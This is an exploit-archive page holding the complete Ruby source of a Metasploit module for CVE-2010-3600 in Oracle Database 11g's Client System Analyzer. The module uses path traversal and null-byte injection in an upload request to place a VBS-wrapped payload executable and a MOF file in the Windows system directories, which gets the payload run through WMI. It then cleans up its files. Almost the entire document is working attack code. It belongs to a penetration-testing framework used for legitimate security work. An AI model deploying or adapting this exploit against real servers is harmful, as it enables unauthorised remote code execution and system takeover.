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Oracle Database Client System Analyzer Arbitrary File Upload

Oracle Database Client System Analyzer Arbitrary File Upload
Posted Nov 15, 2012
Authored by juan vazquez, 1c239c43f521145fa8385d64a9c32243 | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability on the Client Analyzer component as included in Oracle Database 11g, which allows remote attackers to upload and execute arbitrary code. This Metasploit module has been tested successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution through the Windows Management Instrumentation service has been used.

tags | exploit, remote, arbitrary, file upload
systems | windows
advisories | CVE-2010-3600, OSVDB-70546
SHA-256 | 84145a2bd1465f746c9f1fb3cb57ffe9811d8c12fa296a6bdabb07a13010b2ad

Oracle Database Client System Analyzer Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Database Client System Analyzer Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability on the Client
Analyzer component as included in Oracle Database 11g, which allows remote
attackers to upload and execute arbitrary code. This module has been tested
successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution
through the Windows Management Instrumentation service has been used.
},
'Author' =>
[
'1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2010-3600' ],
[ 'OSVDB', '70546'],
[ 'BID', '45883'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-018/' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]
],
'Targets' =>
[
[ 'Oracle Oracle11g 11.2.0.1.0 / Windows 2003 SP2', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 18 2011'
))

register_options(
[
Opt::RPORT(1158),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'Traversal depth to reach the root', 13])
], self.class )
end

def on_new_session(client)

return if not @var_mof_name
return if not @var_vbs_name

vbs_path = "C:\\windows\\system32\\#{@var_vbs_name}.vbs"
mof_path = "C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof"

if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs payload (#{vbs_path}) and mof file (#{mof_path}) must be removed manually.")
return
end

# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

attrib_path = "C:\\windows\\system32\\attrib.exe -r "

cmd = attrib_path + mof_path

client.sys.process.execute(cmd, nil, {'Hidden' => true })

begin
print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
client.fs.file.rm(vbs_path)
print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
client.fs.file.rm(mof_path)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end

end

def upload_file(data)
res = send_request_cgi(
{
'uri' => '/em/ecm/csa/v10103/CSAr.jsp',
'method' => 'POST',
'data' => data
})

return res
end

def check

file_name = rand_text_alpha(rand(5)+5)
file_contents = rand_text_alpha(rand(20)+20)

data = "sessionID=#{file_name}.txt\x00.xml"
data << "\x0d\x0a"
data << Rex::Text.uri_encode(file_contents)

print_status("Uploading the CSA#{file_name}.txt file")
res = upload_file(data)
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
print_error("The test file could not be uploaded")
return Exploit::CheckCode::Safe
end

print_status("Checking uploaded contents...")
res = send_request_raw({'uri' => "/em/CSA#{file_name}.txt"})

if res and res.code == 200 and res.body =~ /#{file_contents}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Appears

end

def exploit

# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@var_mof_name = rand_text_alpha(rand(5)+5)
@var_vbs_name = rand_text_alpha(rand(5)+5)

print_status("Encoding payload into vbs...")
# Only 100KB can be uploaded by default, because of this "to_win32pe_old" is used,
# the "new" template is too big in this case.
exe = Msf::Util::EXE.to_win32pe_old(framework, payload.encoded)
# The payload is embedded in a vbs and executed from there to avoid badchars that
# URLDecoder.decode (jsp) is unable to decode correctly such as 0x81, 0x8d, 0x8f,
# 0x90 and 0x9d
vbs = Msf::Util::EXE.to_exe_vbs(exe)

print_status("Generating mof file...")
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

traversal = "..\\" * datastore['DEPTH']
data = "sessionID=#{traversal}\\WINDOWS\\system32\\#{@var_vbs_name}.vbs\x00.xml"
data << "\x0d\x0a"
# The data to upload must be uri encoded because the vulnerable jsp will use
# URLDecoder.decode on it before writting to file.
data << Rex::Text.uri_encode(vbs)
print_status("Uploading the payload into the VBS to c:\\WINDOWS\\system32\\#{@var_vbs_name}.vbs...")
res = upload_file(data)
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
fail_with(Exploit::Failure::Unknown, 'VBS upload failed')
end

data = "sessionID=#{traversal}WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof\x00.xml"
data << "\x0d\x0a"
data << Rex::Text.uri_encode(mof_content)
print_status("Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof...")
res = upload_file(data)
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
fail_with(Exploit::Failure::Unknown, 'MOF upload failed')
end

end
end
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